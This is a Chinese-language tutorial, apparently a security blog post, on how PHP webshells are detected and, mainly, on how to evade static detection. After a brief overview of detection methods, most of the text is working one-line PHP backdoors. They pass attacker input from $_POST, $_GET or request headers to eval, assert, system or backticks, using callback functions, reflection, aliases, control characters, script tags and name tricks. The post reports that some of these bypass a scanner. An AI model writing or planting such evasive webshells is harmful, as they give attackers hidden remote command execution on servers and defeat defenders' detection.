前言
一般的,利用能够执行系统命令、加载代码的函数,或者组合一些普通函数,完成一些高级间谍功能的网站后门的脚本,叫做 Webshell
。而php做为一门动态语言,其灵活性很高,因此一直以来 Webshell
的绕过与检测之间不断的产生着化学反应。
Webshell
绕过的本质其实是针对不同的检测给予不同的绕过方式,因此想要学会绕过,首先要了解 Webshell
是如何检测的。
Webshell 检测
Webshell的运行流程:
hacker -> HTTP Protocol -> Web Server -> CGI
。简单来看就是这样一个顺序:黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件。棘手的是,webshell就是一个合法的TCP连接,在TCP/IP的应用层之下没有任何特征(当然不是绝对的),只有在应用层进行检测。黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。
Webshell
检测真要细说起来就超过本菜鸡的能力范围之内了,大致分为
- 静态检测,通过匹配特征码,特征值,危险函数函数来查找 WebShell 的方法,只能查找已知的 WebShell,并且误报率漏报率会比较高,但是如果规则完善,可以减低误报率,但是漏报率必定会有所提高。
- 动态检测,执行时刻表现出来的特征,比如数据库操作、敏感文件读取等。
- 语法检测,根据 PHP 语言扫描编译的实现方式,进行剥离代码、注释,分析变量、函数、字符串、语言结构的分析方式,来实现关键危险函数的捕捉方式。这样可以完美解决漏报的情况。但误报上,仍存在问题。
- 统计学检测,通过信息熵、最长单词、重合指数、压缩比等检测。
而本文着重讲的是静态特征检测,静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的方法,只能查找已知的webshell,并且误报率漏报率会比较高,但是如果规则完善,可以减低误报率,但是漏报率必定会有所提高。优点是快速方便,对已知的webshell查找准确率高,容易被绕过。
基于webshell特征检测
常见webshell函数
- 存在系统调用的命令执行函数,如
eval、system、cmd_shell、assert
等; - 存在系统调用的文件操作函数,如
fopen、fwrite、readdir
等; - 存在数据库操作函数,调用系统自身的存储过程来连接数据库操作;
- 具备很深的自身隐藏性、可伪装性,可长期潜伏到web源码中;
- 衍生变种多,可通过自定义加解密函数、利用xor、字符串反转、压缩、截断重组等方法来绕过检测;
//利用base64编码
<?php
$b = base64_encode(‘whoami‘);
echo $b.'';
echo base64_decode($b).'';?>
//利用gzcompress压缩
<?php
$c = gzcompress('whoami');
echo $c.'<br>';
echo gzuncompress($c)."";?>
//进制运算
<?php @$_++; $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); ?>
//利用注释符
<?php @${$__}[!$_](${$__}[$_]);@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); ?>
Webshell
的实现需要两步:数据的传递、执行所传递的数据。
对于执行数据部分,我们可以收集关键词,匹配脚本文件中的关键词找出可疑函数,当执行数据部分匹配到可疑函数时再进行判断其数据传递部分是否为用户可控,譬如 $_POST、$_GET、$_REQUEST、$_FILES、$_COOKIE、$_SERVER
等等。
不过一些变形的 webshell
通过各种编码、加密、压缩PHP文件,或者通过一些动态方法调用来绕过关键字匹配,此时我们可以通过收集 webshell
中会用到的而一般文件不会用到的函数和代码、收集出现过的 webshell
,将其中的特征码提取出来,也就是收集特征码,特征值,危险函数来完善规则库,提高查杀率。
Webshell 绕过
PHP动态特性的捕捉与逃逸
在p牛的《PHP动态特性的捕捉与逃逸》 中,将常见的PHP一句话木马分为如下几个类别:
其中回调型后门的检测:
- 遍历AST Tree
- 分析FuncCall Node,判断是否调用了含有”回调参数”的函数
- 判断回调参数是否是一个变量
介绍了如何绕过回调参数黑名单
<?php
UsORt($_POST[1], $_POST[2]);
mbereg_replace
、 mbereg_ireplace
在文档里搜索不到,实际上却是 mb_ereg_replace
、 mb_eregi_replace
的别名,而 mb_ereg_replace
、 mb_eregi_replace
的作用和 preg_replace
一样,支持传入e模式的正则表达式,进而执行任意代码;而且,PHP7后已经删除了 preg_replace
的e模式,而 mb_ereg_replace
的e模式仍然坚挺到现在。
<?php
mbereg_replace('.*', '', $_REQUEST[2333], 'mer');
不过, mbereg_replace
这个别名在PHP7.3被移除了,所以上述代码只能在7.2及以下的PHP中使用。
<?php
use function assert as test;
test($_POST[2333]);
<?php
class test extends ReflectionFunction {}
$f = new test($_POST['name']);
$f->invoke($_POST[2333]);
php7匿名类
<?php
$f = new class($_POST['name']) extends ReflectionFunction {};
$f->invoke($_POST[2333]);
<?php
usort(...$_GET);
[x00-x20]
PHP引擎会忽略这些控制字符,正确执行PHP函数;而PHP-Parser是无法正确解析的这些包含控制字符的函数的,可绕过一些具有语法解析的Webshell检测引擎:
<?php evalx01x02($_POST[2333]);
而PHP-Parser只支持前两个标签,传入一个由 <script>
标签构造的 Webshell
,不识别该标签的检测引擎就会出现绕过:
<script language="php">
eval($_POST[2333]);
</script>
上面的方法同样可以配合各种绕过方式提高绕过的可能性。
常规思路
利用下面五个关键词,能提高查找到拥有后门潜质的PHP回调函数的效率:
<?php $a=1;$b=$_POST;extract($b);print_r(`$a`)?>
<?php
$b='ls';
parse_str("a=$b");
print_r(`$a`);
?>
改成system
析构函数中eval直接报3级错误,我们加一个拼接
利用文件名
一般webshell是通过文件内容来查杀,因此我们可以利用一切非文件内容的可控值来构造webshell,譬如文件名
<?php
substr(__FILE__, -10,-4)($_GET['a']);
?>
同理,除了文件名,还有哪些我们很容易可以控制的值呢?
函数名也可。
<?php
function systema(){
substr(__FUNCTION__, -7,-1)($_GET['a']);
}
systema();
同理方法名也可
<?php
class test{
function systema(){
substr(__METHOD__, -7,-1)($_GET['a']);
}
}
$a = new test();
$a->systema();
还有类名 __CLASS__
什么的就不再多说了。
利用注释
PHP Reflection API
可以用于导出或者提取关于类 , 方法 , 属性 , 参数 等详细信息 . 甚至包含注释的内容。
利用getenv+Apache + HTTP header
getenv
能够获取 phpinfo
中 ApacheEnvironment
和 Environment
中的值。
请求头中的变量会以 HTTP_变量名
的形式存在 Apache Environment
中。
因此我们在请求头中带上 E: system
,我们可以通过 getenv('HTTP_E')
来获取其值 system
同理应该还有许多类似的获取字符串骚操作等待挖掘,上面是执行数据部分,然后是数据传递部分
除了直接使用 $GLOBALS、$_SERVER、$_REQUEST、$_POST、$_GET、$_FILES、$_ENV、$_COOKIE、$_SESSION
这些超全局变量外,我们还可以怎样传递数据呢?
首先看直接 <?php eval($_POST['a']);?>
时,级别为5
直接 <?php
$_POST[‘a’];?>
级别也为5
引用传值
<?php
function foo(&$var)
{
$var = $_POST['a'];
}
$a="";
foo($a);
eval($a);
?>
可以看到级别变成了1。
引用传值配合反引号
<?php
function foo(&$var)
{
$var = $_GET['a'];
}
$a="";
foo($a);
`$a`;
?>
可以看到直接绕过去了。
间接传值
curl获取内容后 eval
,级别为1
再配合上引用传值后直接绕过